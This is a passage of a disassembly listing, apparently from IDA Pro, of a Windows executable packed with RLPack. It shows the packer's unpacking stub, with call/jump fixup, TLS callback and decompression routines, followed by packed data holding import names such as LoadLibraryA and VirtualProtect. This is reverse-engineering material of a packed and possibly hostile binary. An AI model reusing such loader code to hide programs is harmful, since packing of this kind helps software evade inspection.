loc_4FA733:				; CODE XREF: sub_4FA6E8+1Ej
		cmp	ecx, 0
		ja	short loc_4FA708
		jmp	short loc_4FA762
; ---------------------------------------------------------------------------


loc_4FA73A:				; CODE XREF: sub_4FA6E8+1Cj
		cdq
		jmp	short loc_4FA75D
; ---------------------------------------------------------------------------


loc_4FA73D:				; CODE XREF: sub_4FA6E8+78j
		inc	edx
		cmp	byte ptr [esi],	0E8h
		jz	short loc_4FA748
		cmp	byte ptr [esi],	0E9h
		jnz	short loc_4FA75B


loc_4FA748:				; CODE XREF: sub_4FA6E8+59j
		mov	eax, [esi+1]
		bswap	eax
		sub	eax, edx
		mov	[esi+1], eax
		add	esi, 4
		add	edx, 4
		sub	ecx, 4


loc_4FA75B:				; CODE XREF: sub_4FA6E8+5Ej
		inc	esi
		dec	ecx


loc_4FA75D:				; CODE XREF: sub_4FA6E8+53j
		cmp	ecx, 0
		ja	short loc_4FA73D


loc_4FA762:				; CODE XREF: sub_4FA6E8+50j
		popa
		retn
sub_4FA6E8	endp


; =============== S U B	R O U T	I N E =======================================



sub_4FA764	proc near		; CODE XREF: start+183p
		pusha
		mov	esi, [ebp+43Ch]
		add	esi, [esi+3Ch]
		mov	esi, [esi+0C0h]
		or	esi, esi
		jz	short loc_4FA7A7
		add	esi, [ebp+43Ch]
		add	esi, 0Ch
		mov	esi, [esi]
		or	esi, esi
		jz	short loc_4FA7A7
		mov	eax, [esi]
		jmp	short loc_4FA7A3
; ---------------------------------------------------------------------------


loc_4FA78B:				; CODE XREF: sub_4FA764+41j
		push	esi
		cmp	dword ptr [eax], 0
		jz	short loc_4FA79D
		push	0
		push	1
		push	dword ptr [ebp+43Ch]
		call	eax


loc_4FA79D:				; CODE XREF: sub_4FA764+2Bj
		pop	esi
		add	esi, 4
		mov	eax, [esi]


loc_4FA7A3:				; CODE XREF: sub_4FA764+25j
		or	eax, eax
		jnz	short loc_4FA78B


loc_4FA7A7:				; CODE XREF: sub_4FA764+12j
					; sub_4FA764+21j
		popa
		retn
sub_4FA764	endp

; ---------------------------------------------------------------------------
		pusha
		mov	esi, [esp+24h]
		mov	edi, [esp+28h]
		cld
		mov	dl, 80h
		xor	ebx, ebx


loc_4FA7B7:				; CODE XREF: .RLPack:004FA7BFj
		movsb
		mov	bl, 2


loc_4FA7BA:				; CODE XREF: .RLPack:004FA7E4j
					; .RLPack:004FA82Aj
		call	sub_4FA82C
		jnb	short loc_4FA7B7
		xor	ecx, ecx
		call	sub_4FA82C
		jnb	short loc_4FA7E6
		xor	eax, eax
		call	sub_4FA82C
		jnb	short loc_4FA7F6
		mov	bl, 2
		inc	ecx
		mov	al, 10h


loc_4FA7D8:				; CODE XREF: .RLPack:004FA7DFj
		call	sub_4FA82C
		adc	al, al
		jnb	short loc_4FA7D8
		jnz	short loc_4FA822
		stosb
		jmp	short loc_4FA7BA
; ---------------------------------------------------------------------------


loc_4FA7E6:				; CODE XREF: .RLPack:004FA7C8j
		call	sub_4FA838
		sub	ecx, ebx
		jnz	short loc_4FA7FF
		call	sub_4FA836
		jmp	short loc_4FA81E
; ---------------------------------------------------------------------------


loc_4FA7F6:				; CODE XREF: .RLPack:004FA7D1j
		lodsb
		shr	eax, 1
		jz	short loc_4FA848
		adc	ecx, ecx
		jmp	short loc_4FA81B
; ---------------------------------------------------------------------------


loc_4FA7FF:				; CODE XREF: .RLPack:004FA7EDj
		xchg	eax, ecx
		dec	eax
		shl	eax, 8
		lodsb
		call	sub_4FA836
		cmp	eax, 7D00h
		jnb	short loc_4FA81B
		cmp	ah, 5
		jnb	short loc_4FA81C
		cmp	eax, 7Fh
		ja	short loc_4FA81D


loc_4FA81B:				; CODE XREF: .RLPack:004FA7FDj
					; .RLPack:004FA80Fj
		inc	ecx


loc_4FA81C:				; CODE XREF: .RLPack:004FA814j
		inc	ecx


loc_4FA81D:				; CODE XREF: .RLPack:004FA819j
		xchg	eax, ebp


loc_4FA81E:				; CODE XREF: .RLPack:004FA7F4j
		mov	eax, ebp
		mov	bl, 1


loc_4FA822:				; CODE XREF: .RLPack:004FA7E1j
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	short loc_4FA7BA

; =============== S U B	R O U T	I N E =======================================



sub_4FA82C	proc near		; CODE XREF: .RLPack:loc_4FA7BAp
					; .RLPack:004FA7C3p ...
		add	dl, dl
		jnz	short locret_4FA835
		mov	dl, [esi]
		inc	esi
		adc	dl, dl

locret_4FA835:				; CODE XREF: sub_4FA82C+2j
		retn
sub_4FA82C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4FA836	proc near		; CODE XREF: .RLPack:004FA7EFp
					; .RLPack:004FA805p
		xor	ecx, ecx
sub_4FA836	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4FA838	proc near		; CODE XREF: .RLPack:loc_4FA7E6p
		inc	ecx


loc_4FA839:				; CODE XREF: sub_4FA838+Dj
		call	sub_4FA82C
		adc	ecx, ecx
		call	sub_4FA82C
		jb	short loc_4FA839
		retn
sub_4FA838	endp

; ---------------------------------------------------------------------------


loc_4FA848:				; CODE XREF: .RLPack:004FA7F9j
		sub	edi, [esp+28h]
		mov	[esp+1Ch], edi
		popa
		retn
; ---------------------------------------------------------------------------
		align 4
		dd 2 dup(0)
		dd 0A87A0000h, 0A887000Fh, 0Fh,	4 dup(0)
		dd 656B0000h, 6C656E72h, 642E3233h, 0D8006C6Ch,	0FD77E805h
		dd 0A77E7A5h, 3477E798h, 9A77E79Eh, 77E616h, 0
		dd 616F4C00h, 62694C64h, 79726172h, 47000041h, 72507465h
		dd 6441636Fh, 73657264h, 56000073h, 75747269h, 6C416C61h
		dd 636F6Ch, 72695600h, 6C617574h, 65657246h, 69560000h
		dd 61757472h, 6F72506Ch, 74636574h, 10000000h, 80000h
		dd 200000h, 0
		dd 2 dup(40h), 0
		dd 10000000h, 5C000000h, 110002h, 0
		dd 76477E6h, 2 dup(32h), 1000000Eh, 28000000h, 7000000Fh
		dd 31A20002h, 9000000Fh, 0A4A00002h, 0E000000Fh, 0Dh, 0E570000h
		dd 335F3253h, 6C642E63h, 454B008Fh, 4CE64E52h, 10E0DA6h
		dd 190271C4h, 6FC8413Ah, 656B1D63h, 738F874h, 0F803270h
		dd 0F12F0C09h, 15447322h, 1202890Ah, 4801240Dh,	2209910Bh
		dd 3104404h, 13121789h,	97481224h, 6660691h, 46006E70h
		dd 43646E69h, 70736F6Ch, 0C8536665h, 4F371845h,	1AFC2466h
		dd 42731949h, 0FF6F3061h, 727450D0h, 527B0DA4h,	610D08D0h
		dd 686E554Fh, 4C546EF3h, 63784563h, 69F970F3h, 6977F76Fh
		dd 473890FFh, 0A4465336h, 7954670Fh, 0F57EA70h,	46C000D2h
		dd 5073756Ch, 0F0425E68h, 5CBEE366h, 408A4B51h,	0A04C4864h
		dd 0D1C822Dh, 190E722Bh, 480A4D68h, 0FD751D8Fh,	0A7001CD1h
		dd 0CF726976h, 0E95F6DEAh, 57738A60h, 0E6DD7417h, 2EA5FEFEh
		dd 827418C8h, 81DA35A3h, 614D434Ch, 57274870h, 66310DA7h
		dd 19BD6548h, 78A87A28h, 0F973EC52h, 9108385Dh,	284DFC4Fh
		dd 52095043h, 0C600741h, 6F666E49h, 57194F93h, 5D23747Ch
		dd 0F2855628h, 6C611C75h, 0E7C8B941h, 9F420D46h, 4496D970h
		dd 0A0A14650h, 4DC87351h, 0F3105DA2h, 76D03A79h, 5841CA1Ah
		dd 0A80D4D12h, 3E483275h, 0CF61514Eh, 79531310h, 1B48DF73h
		dd 63FB9E44h, 0DCAF6FE3h, 3AD05328h, 193C4399h,	640F6854h
		dd 7DF344C1h, 2437AB28h, 15764F3Eh, 0AA906D6Eh,	4699758Fh
		dd 497F586Eh, 4C146450h, 45A66166h, 8C9CDB2Eh, 487970A1h
		dd 0B5935337h, 0D92F63Ch, 9A756234h, 132F9024h,	0C246A346h
		dd 86572264h, 92C94A2Bh, 1E412C53h, 6A622A4Fh, 649B8EA5h
		dd 3178654Dh, 0F6316954h, 41EAF259h, 54A16D80h,	201DC8B8h
		dd 507033DCh, 54656824h, 0C37376B2h, 0E938D64Ch, 0B972E69Dh
		dd 0BDA17921h, 0FE64B83Ch, 6D3FD3A5h, 45FEBB66h, 6360B323h
		dd 92A470DEh, 35560F89h, 1FB85592h, 687AA476h, 0A4C666Ch
		dd 2E43C0C9h, 0E5B5AACh, 0DB34B2EEh, 8F913A86h,	21923615h
		dd 7AD51EDEh, 8F41E22Fh, 0C0704AF4h, 742BCC23h,	0F6C83C23h
		dd 4210E23Dh, 0AFE2AF79h, 3E640D57h, 65448521h,	8B3370C9h
		dd 0A6562A49h, 0DC010951h, 42CF736Eh, 8C4CC366h, 29706913h
		dd 4B00590Ch, 81C85227h, 6C707544h, 0CE22CDB4h,	92D85762h
		dd 0B3694B28h, 0D5722873h, 0D47596AEh, 44CD1126h, 410F0EB4h
		dd 4CE82365h, 957DAA6h,	436533ACh, 57941519h, 32960FD1h
		dd 0D2424E5Fh, 0E8B134Ch, 0FE680851h, 508D3E6Dh, 90AC2E6Fh
		dd 20256A5Ah, 0EA65FDE1h, 0B55AF7FFh, 2C2913CFh, 9970234Ch
		dd 46D24A2Eh, 0A28A3A6Eh, 452A3216h, 51E0DB76h,	79307563h
		dd 66082950h, 636E0BBBh, 904736B3h, 644DD318h, 12932671h
		dd 190C2D79h, 277B35B1h, 0F1545946h, 36076156h,	5758D662h
		dd 0A334D3F3h, 0B9660913h, 2055A556h, 48C89914h, 294EA474h
		dd 921FA1CCh, 5331134Dh, 63A33990h, 37675612h, 67643F4Dh
		dd 0A49A9DC9h, 8CC37A62h, 0D6BB329h, 6C0B4C94h,	0C4704C24h
		dd 0A67765B6h, 0E4D29A5h, 0D20C1CE9h, 67714931h, 0D9866116h
		dd 0D00C4752h, 5E702493h, 915E01AEh, 24C84A7Fh,	8A875B94h
		dd 637206A8h, 791A46Dh,	42491CA6h, 0BC654518h, 996BF67Ah
		dd 644BCA90h, 44DBC867h, 4076A2CDh, 0F519BE1Dh,	24A0CAA0h
		dd 6A357375h, 3C372B11h, 4DE7742Ah, 0F35C1677h,	422CF0DBh
		dd 6A5A9270h, 0AEAAA9B2h, 0A22C9FD4h, 90979FD2h, 1544CF41h
		dd 796F15ADh, 7011560Ch, 80E1h
		db 3 dup(0)
_RLPack		ends

; Section 3. (virtual address 000FB000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00000200 (	512.)
; Offset to raw	data for section: 000FAE00
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata2		segment	para public 'DATA' use32
		assume cs:_idata2
		;org 4FB000h
		align 2000h
_idata2		ends


		end start